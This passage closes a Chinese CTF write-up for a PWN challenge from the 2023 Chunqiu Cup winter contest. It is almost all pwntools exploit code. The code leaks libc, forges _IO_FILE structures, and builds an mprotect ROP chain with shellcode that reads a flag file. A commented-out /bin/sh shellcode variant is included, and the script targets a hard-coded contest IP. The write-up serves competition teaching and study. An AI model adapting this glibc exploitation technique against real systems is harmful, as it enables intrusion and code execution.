payload = self.read(0, stack_leak - self.LEAK_LENGTH + offset, 0x300, end=1)
io.sendline(payload)
return stack_leak - self.LEAK_LENGTH + offset
if __name__ == "__main__":
# libc = ELF("./libc-2.38.so.6")
context.arch = 'amd64'
libc = ELF("./libc.so.6", checksec=None)
# libc.address = 0x100000000000
# print(hex(libc.bss()))
# print(libc.maps)
# for k, v in libc.symbols.items():
# print(k, hex(v))
code = libc.read(libc.symbols['_IO_file_underflow'], 0x200)
print(code)
tmp = disasm(code)
print(tmp)
exp.py：
from pwn import *
from House_of_some import HouseOfSome
context.log_level = 'debug'
context.arch = 'amd64'
# shellcode = asm(
# f"""
# mov rax, {u64(b"/bin/sh"+bytearray([0]))}
# push rax
# mov rdi, rsp
# mov rsi, 0
# mov rdx, 0
# mov rax, 59
# syscall
# """)
shellcode = asm(
f"""
mov rax, {u64(b"./flag" + bytearray([0,0]))}
push rax
mov rdi, rsp
mov rsi, 0
mov rax, 2
syscall
mov rdi, rax
mov rsi, rsp
mov rdx, 0x40
mov rax, 0
syscall
mov rdi, 1
mov rsi, rsp
mov rdx, 0x40
mov rax, 1
syscall
""")
# io = process("./houseofsome")
# io = remote("127.0.0.1", 9999)
io = remote("39.106.48.123", 25077)
tob = lambda x: str(x).encode()
def name(size, content):
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"size> ", tob(size))
io.sendafter(b"name> ", content)
def dev(idx):
io.sendlineafter(b"> ", b"2")
io.sendlineafter(b"dev> ", tob(idx))
def draw(offset, length):
io.sendlineafter(b"> ", b"3")
io.sendlineafter(b"offset> ", tob(offset))
io.sendlineafter(b"length> ", tob(length))
def leave():
io.sendlineafter(b"> ", b"5")
io.sendlineafter(b"> ", b"-")
io.recvuntil(b"invalid option ")
leak = int(io.recvuntil(b".", drop=True))
log.success(f"leak : {leak:#x}")
libc_base = leak - 0x2207a0
log.success(f"libc_base : {libc_base:#x}")
libc = ELF("./libc.so.6", checksec=None)
libc.address = libc_base
# dev(1)
name(0x2b0-1, flat({
0x260: {
0x18: 0,
0x20: 1,
0x30: 0,
}
}, filler=b"x00") + b"n")
name(0x1f00-0x730-1, b"aa" + b"n")
name(0x400-1, b"aa" + b"n")
name(0x590-1, flat({
0xe0-0x60: libc.symbols['_IO_file_jumps'] - 0x48
}, filler=b"x00") + b"n")
name(0x50-1, b"aa" + b"n")
name(0x600-1, b"aa" + b"n")
name(0x610-1, b"aa" + b"n")
name(0x300-1, b"aa" + b"n")
name(0x2f0-1, b"aa" + b"n")
name(0x360-1, b"aa" + b"n")
name(0x210-1, b"aa" + b"n")
# name(0x80-1, b"aa" + b"n")
environ = libc.symbols['__environ']
name(0xb0-1, flat({
0x00: 0, # _flags
0x20: 0, # _IO_write_base
0x28: 0, # _IO_write_ptr
0x38: environ+8, # _IO_buf_base
0x40: environ+8+0x400, # _IO_buf_end
0x70: 0, # _fileno
0x68: environ+8, # _chain
0x82: b"x00", # _vtable_offset
0x88: environ-0x10,
0xa0: b"n"
}, filler=b"x00"))
name(0x20-1, flat({
0xc0-0x20-0xa0: 2, # _mode
0xd8-0x20-0xa0: libc.symbols['_IO_wfile_jumps'], # vtable
}, filler=b"x00")[:-1] + b"n")
dev(2)
draw(libc.symbols["_IO_list_all"] - 0x114514000, 1)
leave()
hos = HouseOfSome(libc, environ+8, environ-0x10)
stack = hos.bomb_raw(io, libc.symbols["_IO_flush_all"] + 481)
log.success(f"stack : {stack:#x}")
pop_rdx = 0x0000000000096272 + libc_base
rop = ROP(libc)
rop.base = stack
# print(rop.gadgets)
# print(rop.rdx)
rop.raw(pop_rdx)
rop.raw(7)
rop.call('mprotect', [stack & (~0xfff), 0x1000])
rop.raw(stack + 0x40)
log.info(rop.dump())
rop_chain = rop.chain()
# gdb.attach(io, gdbscript=
# """
# # b free
# # b malloc
# # c
# # b *(_IO_flush_all+341)
# # c
# b mprotect
# c
# """,api=True)
assert b"n" not in rop_chain, "\n in rop_chain"
io.sendline(rop_chain + shellcode)
context.log_level = 'info'
io.interactive()
– 未完待续 –
GAME福利
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原文始发于微信公众号（春秋伽玛）：【WP】2023年春秋杯冬季赛WEB、PWN类题目解析
